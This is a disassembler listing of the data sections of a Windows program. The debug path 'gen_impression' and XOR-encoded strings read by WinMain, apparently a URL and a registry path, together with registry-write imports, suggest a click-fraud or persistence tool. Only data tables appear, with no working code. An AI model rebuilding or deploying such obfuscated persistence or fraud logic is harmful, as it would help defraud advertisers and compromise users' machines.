dword_4060C4	dd 77F522F2h		; DATA XREF: __msize+5Ar
dword_4060C8	dd 77E802FCh		; DATA XREF: ___security_init_cookie+43r
dword_4060CC	dd 77E7751Ah		; DATA XREF: ___security_init_cookie+37r
dword_4060D0	dd 77E80656h		; DATA XREF: ___security_init_cookie+27r
dword_4060D4	dd 77E6167Bh		; DATA XREF: ___security_init_cookie+1Br
dword_4060D8	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+2C3r
					; ___crtLCMapStringA+344r ...
dword_4060DC	dd 77E77CCEh		; DATA XREF: ___crtLCMapStringA+C0r
					; ___crtLCMapStringA+141r ...
dword_4060E0	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+27r
					; ___crtLCMapStringA+15Br ...
dword_4060E4	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+19Cr
dword_4060E8	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+24r
					; ___crtGetStringTypeA+128r
dword_4060EC	dd 77E7513Ch		; DATA XREF: ___ansicp+20r
dword_4060F0	dd 77E6169Ah		; DATA XREF: __resetstkoflw+D5r
dword_4060F4	dd 77E7C3A5h		; DATA XREF: __resetstkoflw+2Br
		dd 3 dup(0)
		dd 46B81566h, 0
		dd 2, 58h, 7150h, 6350h, 0
stru_406120	_msEH <0FFFFFFFFh, offset loc_401344, offset loc_401358>
					; DATA XREF: start+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: unknown_libname_1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: unknown_libname_1o
stru_406148	_msEH <0FFFFFFFFh, 0, offset loc_4014EC> ; DATA	XREF: _doexit+2o
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_40809Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
					; ___security_error_handler+132o
		align 10h
; char asc_406520[]
asc_406520	db 0Ah			; DATA XREF: __NMSG_WRITE+107o
					; ___security_error_handler+FCo
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
		db 0Ah
		db 'Program: ',0
		align 10h
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+C1o
					; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
					; ___security_error_handler+8Bo
byte_40655B	db 0			; DATA XREF: __wincmdln+1Bo
		align 10h
stru_406560	_msEH <0FFFFFFFFh, offset loc_401ED8, offset loc_401EDC>
					; DATA XREF: sub_401EAB+2o
		align 10h
stru_406570	_msEH <0FFFFFFFFh, offset loc_401F1C, offset loc_401F20>
					; DATA XREF: sub_401EEF+2o
		align 10h
stru_406580	_msEH <0FFFFFFFFh, 0, offset sub_4020F7> ; DATA	XREF: _freefls(x)+2o
		dd 0FFFFFFFFh, 0
		dd offset sub_402105
aFlsfree	db 'FlsFree',0          ; DATA XREF: __mtinit+4Co
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: __mtinit+3Fo
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: __mtinit+32o
aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: __mtinit+2Ao
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: __mtinit+13o
					; ___crtInitCritSecAndSpinCount+1Eo
		align 8
stru_4065D8	_msEH <0FFFFFFFFh, 0, offset sub_402557> ; DATA	XREF: __mtinitlocknum+2o
		align 8
stru_4065E8	_msEH <0FFFFFFFFh, 0, offset sub_40266B> ; DATA	XREF: __onexit+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+13o
		align 8
stru_406668	_msEH <0FFFFFFFFh, offset sub_402A58, offset sub_402A5C>
					; DATA XREF: sub_402A6C-2Fo
		align 8
stru_406678	_msEH <0FFFFFFFFh, 0, offset sub_402F79> ; DATA	XREF: __setmbcp+2o
		align 8
stru_406688	_msEH <0FFFFFFFFh, 0, offset sub_402FF3> ; DATA	XREF: _free+2o
		align 8
stru_406698	_msEH <0FFFFFFFFh, 0, offset sub_403080> ; DATA	XREF: __heap_alloc+2o
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
					; DATA XREF: ___crtInitCritSecAndSpinCount+2Do
		align 10h
stru_4066D0	_msEH <0FFFFFFFFh, offset loc_40347A, offset loc_403488>
					; DATA XREF: ___crtInitCritSecAndSpinCount+2o
		align 10h
stru_4066E0	_msEH <0FFFFFFFFh, 0, offset sub_40354F> ; DATA	XREF: _calloc+2o
		align 10h
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 20h,	4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
stru_406870	_msEH <0FFFFFFFFh, 0, offset sub_403726> ; DATA	XREF: ___updatetlocinfo+2o
		align 10h
stru_406880	_msEH <0FFFFFFFFh, 0, offset sub_4046D4> ; DATA	XREF: _realloc+2o
		align 10h
stru_406890	_msEH <0FFFFFFFFh, 0, offset sub_40478B> ; DATA	XREF: __msize+2o
; char aProgram[]
aProgram	db 'Program: ',0        ; DATA XREF: ___security_error_handler+108o
		align 4
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: ___security_error_handler+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0
					; DATA XREF: ___security_error_handler:loc_40485Ao
		align 8
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: ___security_error_handler+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
; char aUnknownSecurit[]
aUnknownSecurit	db 'Unknown security failure detected!',0
					; DATA XREF: ___security_error_handler+47o
		align 10h
stru_406A40	_msEH <0FFFFFFFFh, offset loc_404835, offset loc_404839>
					; DATA XREF: ___security_error_handler+5o
		dd 41h dup(0)
asc_406B50:				; DATA XREF: .data:00408460o
					; .data:off_408720o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_406D50	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:00408724o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
dword_406F54	dd 0			; DATA XREF: ___crtLCMapStringA+1Co
					; ___crtGetStringTypeA+1Eo
stru_406F58	_msEH <0FFFFFFFFh, offset loc_404C3E, offset loc_404C42>
					; DATA XREF: ___crtLCMapStringA+2o
		dd 0FFFFFFFFh, 404A3Bh,	404A3Fh, 0FFFFFFFFh, 404B09h, 404B0Dh
		dd 0
stru_406F80	_msEH <0FFFFFFFFh, offset loc_404DDA, offset loc_404DDE>
					; DATA XREF: ___crtGetStringTypeA+2o
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: .data:004087D8o
		align 4
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:004087D4o
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .data:004087D0o
		align 4
aPm		db 'PM',0               ; DATA XREF: .data:004087CCo
		align 4
aAm		db 'AM',0               ; DATA XREF: .data:004087C8o
		align 10h
aDecember	db 'December',0         ; DATA XREF: .data:004087C4o
		align 4
aNovember	db 'November',0         ; DATA XREF: .data:004087C0o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:004087BCo
aSeptember	db 'September',0        ; DATA XREF: .data:004087B8o
		align 4
aAugust		db 'August',0           ; DATA XREF: .data:004087B4o
		align 4
aJuly		db 'July',0             ; DATA XREF: .data:004087B0o
		align 4
aJune		db 'June',0             ; DATA XREF: .data:004087ACo
		align 4
aApril		db 'April',0            ; DATA XREF: .data:004087A4o
		align 4
aMarch		db 'March',0            ; DATA XREF: .data:004087A0o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .data:0040879Co
		align 10h
aJanuary	db 'January',0          ; DATA XREF: .data:00408798o
aDec		db 'Dec',0              ; DATA XREF: .data:00408794o
aNov		db 'Nov',0              ; DATA XREF: .data:00408790o
aOct		db 'Oct',0              ; DATA XREF: .data:0040878Co
aSep		db 'Sep',0              ; DATA XREF: .data:00408788o
aAug		db 'Aug',0              ; DATA XREF: .data:00408784o
aJul		db 'Jul',0              ; DATA XREF: .data:00408780o
aJun		db 'Jun',0              ; DATA XREF: .data:0040877Co
aMay		db 'May',0              ; DATA XREF: .data:00408778o
					; .data:004087A8o
aApr		db 'Apr',0              ; DATA XREF: .data:00408774o
aMar		db 'Mar',0              ; DATA XREF: .data:00408770o
aFeb		db 'Feb',0              ; DATA XREF: .data:0040876Co
aJan		db 'Jan',0              ; DATA XREF: .data:00408768o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:00408764o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .data:00408760o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .data:0040875Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:00408758o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:00408754o
aMonday		db 'Monday',0           ; DATA XREF: .data:00408750o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .data:0040874Co
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:00408748o
aFri		db 'Fri',0              ; DATA XREF: .data:00408744o
aThu		db 'Thu',0              ; DATA XREF: .data:00408740o
aWed		db 'Wed',0              ; DATA XREF: .data:0040873Co
aTue		db 'Tue',0              ; DATA XREF: .data:00408738o
aMon		db 'Mon',0              ; DATA XREF: .data:00408734o
aSun		db 'Sun',0              ; DATA XREF: .data:off_408730o
stru_4070B8	_msEH <0FFFFFFFFh, offset loc_405812, offset loc_405816>
					; DATA XREF: ___convertcp+2o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 8
		dd 48h,	0Eh dup(0)
		dd offset dword_408310
		dd offset asc_4071B0	; "\""
		dd 2, 53445352h, 4AD5E55Fh, 4677CF03h, 0FFD610BEh, 0FA0AB8C8h
		dd 1
aPProjectsKlikt	db 'p:\Projects\Kliktanje\gen_impression\Release\gen_impression.pdb',0
		align 10h
asc_4071B0	db '"',0               ; DATA XREF: .rdata:00407148o
		align 4
aTb		db 'tB',0
		align 4
		dd 0
dword_4071BC	dd 2 dup(0)		; DATA XREF: sub_401EAB+Co
					; sub_401EAB:loc_401EBEo
dword_4071C4	dd 0			; DATA XREF: sub_401EEF+Co
					; sub_401EEF:loc_401F02o
		dd 7210h, 2 dup(0)
		dd 7330h, 600Ch, 7204h,	2 dup(0)
		dd 7360h, 6000h, 5 dup(0)
		dd 7350h, 733Eh, 0
		dd 7324h, 730Eh, 7300h,	736Eh, 7382h, 7394h, 73A6h, 73B6h
		dd 73C4h, 73D6h, 73EAh,	73FEh, 740Ah, 741Ah, 7436h, 7450h
		dd 7468h, 7482h, 7498h,	74A8h, 74C2h, 74D4h, 74E2h, 74FAh
		dd 7506h, 7516h, 752Ch,	7536h, 7544h, 7552h, 7560h, 756Eh
		dd 757Ch, 7588h, 75A0h,	75B8h, 75C8h, 75D2h, 75DEh, 75EAh
		dd 75F6h, 7612h, 7622h,	7630h, 763Ch, 7652h, 7662h, 766Eh
		dd 7688h, 7698h, 76AEh,	76C8h, 76D8h, 76EEh, 76FEh, 7710h
		dd 7722h, 7734h, 7746h,	0
		dd 6F4D0265h, 69466576h, 7845656Ch, 1750041h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 736C03BCh, 656C7274h, 416Eh,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 1F90000h, 53676552h,	61567465h, 4565756Ch, 4178h, 655201CCh
		dd 65724367h, 4B657461h, 417965h, 41564441h, 32334950h
		dd 6C6C642Eh, 1770000h,	4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 1AF0000h,	53746547h, 74726174h, 6E497075h
		dd 416F66h, 65470108h, 6D6F4374h, 646E616Dh, 656E694Ch
		dd 1DF0041h, 56746547h,	69737265h, 78456E6Fh, 0AF0041h
		dd 74697845h, 636F7250h, 737365h, 65470198h, 6F725074h
		dd 64644163h, 73736572h, 34F0000h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 13A0000h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 394h
aWritefile	db 'WriteFile',0
		dw 1B1h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 360h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
aA		db '',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
aU		db '',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 387h
aWidechartomult	db 'WideCharToMultiByte',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 317h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 6547015Eh, 6C694674h, 70795465h, 7A0065h
aDeletecritical	db 'DeleteCriticalSection',0
		dw 354h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 31Bh
aSetlasterror	db 'SetLastError',0
		align 2
		dw 13Eh
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db  55h	; U
		db 3, 54h, 6Ch
aSfree		db 'sFree',0
		dw 357h
aTlssetvalue	db 'TlsSetValue',0
		db  56h	; V
		db 3, 54h, 6Ch
aSgetvalue	db 'sGetValue',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 376h
aVirtualfree	db 'VirtualFree',0
		db  0Ch
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db  47h	; G
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 10h
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 654700F5h, 50434174h
		dd 18B0000h, 4F746547h,	50434D45h, 0FC0000h, 43746547h
		dd 666E4950h, 206006Fh,	70616548h, 6F6C6C41h, 2190063h
aInitializecr_0	db 'InitializeCriticalSection',0
		dw 373h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 210h
aHeaprealloc	db 'HeapReAlloc',0
		db 0CAh	; 
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db  1Fh
		db 2, 49h, 6Eh
aTerlockedexcha	db 'terlockedExchange',0
		dw 37Bh
aVirtualquery	db 'VirtualQuery',0
		align 2
		dw 212h
aHeapsize	db 'HeapSize',0
		align 2
		dw 297h
aQueryperforman	db 'QueryPerformanceCounter',0
		db 0D5h	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 1C0h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db  3Ah	; :
		db 2, 4Ch, 43h
aMapstringa	db 'MapStringA',0
		align 4
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 23Bh
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 10h
		dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h
		dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h
		dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h
		dd 666E496Dh
		db 6Fh,	0
_rdata		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00001198 (   4504.)
; Section size in file		: 00001198 (   4504.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 408000h
dword_408000	dd 0			; DATA XREF: __cinit+45o
		dd offset ___security_init_cookie
dword_408008	dd 0			; DATA XREF: __cinit+4Co
dword_40800C	dd 0			; DATA XREF: __cinit+12o
		dd offset ___onexitinit
		dd offset ___initmbctable
dword_408018	dd 0			; DATA XREF: __cinit+17o
dword_40801C	dd 0			; DATA XREF: _doexit+73o
dword_408020	dd 0			; DATA XREF: _doexit:loc_4014B0o
dword_408024	dd 0			; DATA XREF: _doexit+83o
dword_408028	dd 2 dup(0)		; DATA XREF: _doexit:loc_4014C0o
byte_408030	db 0BBh			; DATA XREF: WinMain(x,x,x,x):loc_40105Ar
		db 2 dup(0A7h),	0A3h
		dd 0A4FCFCE9h, 0BCFDA4A4h, 0B2BDB6A3h, 0B0BAA7A1h, 0FDA0B6BFh
		dd 0BCB5BDBAh, 0
byte_408050	db 80h			; DATA XREF: WinMain(x,x,x,x):loc_40100Fr
		db 0BCh, 0B5h, 0A7h
		dd 0B6A1B2A4h, 0B0BA9E8Fh, 0BCA0BCA1h, 9A8FA7B5h, 0A1B6A7BDh
		dd 0F3A7B6BDh, 0BFA3AB96h, 0A1B6A1BCh, 0BAB29E8Fh, 0BDh
byte_40807C	db 80h			; DATA XREF: WinMain(x,x,x,x):loc_401079r
		db 0A7h, 0B2h, 0A1h
		dd 0B283F3A7h, 0B6B4h, 2 dup(0)
off_408090	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_408094	dd 2			; DATA XREF: __NMSG_WRITE+58r
					; __FF_MSGBANNER+Er
dword_408098	dd 2			; DATA XREF: __NMSG_WRITE:loc_40156Br
					; __NMSG_WRITE+3Ar
off_40809C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
					; __NMSG_WRITE+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4064A4h, 9, 406478h, 0Ah,	4063E0h, 10h, 4063B4h
		dd 11h,	406384h, 12h, 406360h, 13h, 406334h, 18h, 4062FCh
		dd 19h,	4062D4h, 1Ah, 40629Ch, 1Bh, 406264h, 1Ch, 40623Ch
		dd 1Dh,	406198h, 78h, 406188h, 79h, 406178h, 7Ah, 406168h
		dd 0FCh, 406164h, 0FFh,	406154h
dword_408130	dd 0C0000005h, 0Bh, 0	; DATA XREF: __getptd+41o
					; _freefls(x)+70o ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4081A8	dd 3			; DATA XREF: __XcptFilter+84r
					; __XcptFilter+A3r
dword_4081AC	dd 7			; DATA XREF: __XcptFilter+8Ar
					; __XcptFilter+A9r
		dd 78h
dword_4081B4	dd 0Ah			; DATA XREF: __XcptFilter+14r
		dd 0FFFFFFFFh, 0A80h, 7	dup(0)
dword_4081DC	dd 0			; DATA XREF: __mttermr	__mtterm+11w ...
		dd 10h,	3 dup(0)
off_4081F0	dd offset dword_408AD8	; DATA XREF: __mtinitlocks:loc_40244Aw
					; __mtdeletelocks+8o ...
dword_4081F4	dd 1			; DATA XREF: __mtinitlocks:loc_402416r
		dd offset dword_408AF0
		dd 1, 2	dup(0)
		dd offset dword_408B08
		dd 1, 408B20h, 1, 2 dup(0)
		dd offset dword_408B38
		dd 1, 408B50h, 1, 408B68h, 1, 2	dup(0)
		dd offset dword_408B80
		dd 1, 2	dup(0)
		dd offset dword_408B98
		dd 1, 408BB0h, 1, 408BC8h, 1, 2	dup(0)
		dd offset dword_408BE0
		dd 1, 408BF8h, 1, 408C10h, 1, 22h dup(0)
dword_408310	dd 0C4ED31Fh		; DATA XREF: __NMSG_WRITE+Er
					; __mtdeletelocks+2Ao ...
		align 8
byte_408318	db 1			; DATA XREF: __setmbcp_lk+C5r
		db 2, 4, 8
		align 10h
dword_408320	dd 3A4h			; DATA XREF: __setmbcp_lk:loc_402CC4r
dword_408324	dd 82798260h		; DATA XREF: __setmbcp_lk+101r
		dd 21h,	0
dword_408330	dd 0DFA6h		; DATA XREF: __setmbcp_lk+A5r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd 43h,	0
dword_408418	dd 1, 8	dup(0)		; DATA XREF: _freefls(x)+103o
					; ___updatetlocinfo_lk+ADo ...
		dd 2 dup(1), 3 dup(0)
		dd offset off_4087EC
		align 10h
		dd offset asc_406B50	; "	    (((((		   H"
		dd offset off_408730
		dd 0
off_40846C	dd offset dword_408418	; DATA XREF: _freefls(x)+FBr
					; ___updatetlocinfo_lk+Br ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	20h dup(0)
dword_4085A4	dd 19930520h, 4	dup(0)	; DATA XREF: .text:00404323o
					; __NLG_Notify+2o
		dd 1, 16h, 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch
		dd 8, 0Ch, 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h
		dd 0Fh,	2, 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h
		dd 2, 41h, 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h
		dd 16h,	59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch,	72h, 9
		dd 6, 16h, 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh
		dd 91h,	29h, 9Eh, 0Dh, 0A1h, 2,	0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_408720	dd offset asc_406B50	; DATA XREF: _x_ismbbtype+18r
					; "	    (((((		   H"
		dd offset dword_406D50+2
		dd 1, 408730h
off_408730	dd offset aSun		; DATA XREF: .data:00408464o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHhMmSs	; "HH:mm:ss"
		dd 409h, 1, 0
dword_4087E8	dd 2Eh			; DATA XREF: .data:off_4087ECo
off_4087EC	dd offset dword_4087E8	; DATA XREF: ___free_lconv_num+15r
					; .data:00408450o ...
off_4087F0	dd offset dword_408CD0	; DATA XREF: ___free_lconv_num+32r
off_4087F4	dd offset dword_408CD0	; DATA XREF: ___free_lconv_num+4Er
off_4087F8	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+1Br
off_4087FC	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+38r
off_408800	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+55r
off_408804	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+72r
off_408808	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+8Fr
off_40880C	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+ACr
off_408810	dd offset dword_408CD0	; DATA XREF: ___free_lconv_mon+C8r
		dd 2 dup(7F7F7F7Fh)
off_40881C	dd offset off_4087EC	; DATA XREF: ___free_lconv_num+Br
					; ___free_lconv_num+27r ...
		dd 1, 2Eh, 1, 0
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_408840	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:004088C0o
dword_408880	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:004088C4o
		dd offset dword_408840
		dd offset dword_408880
		dd 0FFFFFFFFh, 2 dup(0)
